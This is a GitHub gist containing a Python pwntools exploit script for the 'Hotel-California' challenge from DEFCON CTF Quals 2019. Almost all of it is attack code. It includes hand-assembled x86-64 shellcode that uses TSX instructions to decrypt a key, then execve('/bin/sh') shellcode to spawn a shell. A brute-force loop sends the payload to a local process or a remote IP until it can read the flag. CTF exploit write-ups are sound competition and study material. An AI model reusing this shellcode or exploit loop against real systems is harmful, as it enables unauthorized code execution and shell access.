Skip to content

Instantly share code, notes, and snippets.

@gaasedelen
Created June 26, 2019 14:40
Show Gist options
  • Save gaasedelen/64cec2c570dfcf8d7f0ca955fd115f8c to your computer and use it in GitHub Desktop.
Save gaasedelen/64cec2c570dfcf8d7f0ca955fd115f8c to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
#
# Hotel-California Exploit, DEFCON CTF Quals 2019
# - by: gaasedelen, of RET2 Systems, Inc. / RPISEC
#
import sys
import time
from pwn import *
#-----------------------------------------------------------------------------
# Exploit Config
#-----------------------------------------------------------------------------
# mute verbose pwntools output
context.log_level = 'error'
# run 'tsx-hax.py 1' to run against remote server
REMOTE = len(sys.argv) > 1
CHALL_HOST = "192.168.72.129"
CHALL_PORT = 9000
#-----------------------------------------------------------------------------
# Payload
#-----------------------------------------------------------------------------
# get the address of our RWX page
payload = "\x4C\x8D\x05\xB4\xFF\xFF\xFF" # lea r8, [rip + 0xff..ffb4]
# set RSP to a valid but 'safe' value
# NOTE: this might need to change if ASLR is off
payload += "\x66\xBA\x10\x06" # mov dx, 0x610
payload += "\x49\x8D\x24\x10" # lea rsp, [r8 + rdx]
# save RSP for later use
payload += "\x49\x89\xE2" # mov r10, rsp
# place a 'return' address at the top of the stack
payload += "\x4D\x89\xC1" # mov r9, r8
payload += "\x49\x83\xC1\x62" # add r9, 0x62
payload += "\x41\x51" # push r9
# the 'leap of faith' into the random/encrypted key
payload += "\xEB\x9E" # jmp key_Z
#
# if we survive the leap of faith ...
#
# diff RSP to compute C2 XX XX (into rax)
payload += "\x4C\x29\xD4" # sub rsp, r10
payload += "\x48\x89\xE0" # mov rax, rsp
# combine all the components of key_X (into ecx)
payload += "\xB1\x90" # mov cl, 0x90 ; YY
payload += "\xC1\xE1\x10" # shl ecx, 16
payload += "\x09\xC1" # or ecx, eax
payload += "\xC1\xE1\x08" # shl ecx, 8
payload += "\xB1\xC2" # mov cl, 0xC2
# decrypt key_Z & unlock
payload += "\x41\x8B\x18" # mov ebx, DWORD PTR [r8]
payload += "\x31\xCB" # xor ebx, ecx
payload += "\xf3\xf0\x41\x31\x18" # xrelease lock xor DWORD PTR [r8], ebx
# restore stack
payload += "\x49\x8D\x24\x10" # lea rsp, [r8 + rdx]
# execve("/bin/sh", NULL, NULL) shellcode
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# padding
payload += (0x398-len(payload))*"\x90"
payload += "\x00"
# cacheline alignment groom
m1 = "\x90"*0x374+"\x00"
#-----------------------------------------------------------------------------
# Bruteforce / Exploit Loop
#-----------------------------------------------------------------------------
start = time.time()
while 1:
if REMOTE:
r = remote(CHALL_HOST, CHALL_PORT)
else:
r = process('./hotel_california')
r.send(m1)
r.send(payload)
r.recvuntil("(received 921 bytes)\n")
# we should have a shell at this point...
r.sendline("cat flag")
data = r.recv()
if "OOO" in data:
print "GOT FLAG:", data.strip()
break
r.close()
end = time.time()
print "Exploit took %f seconds" % (end-start)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment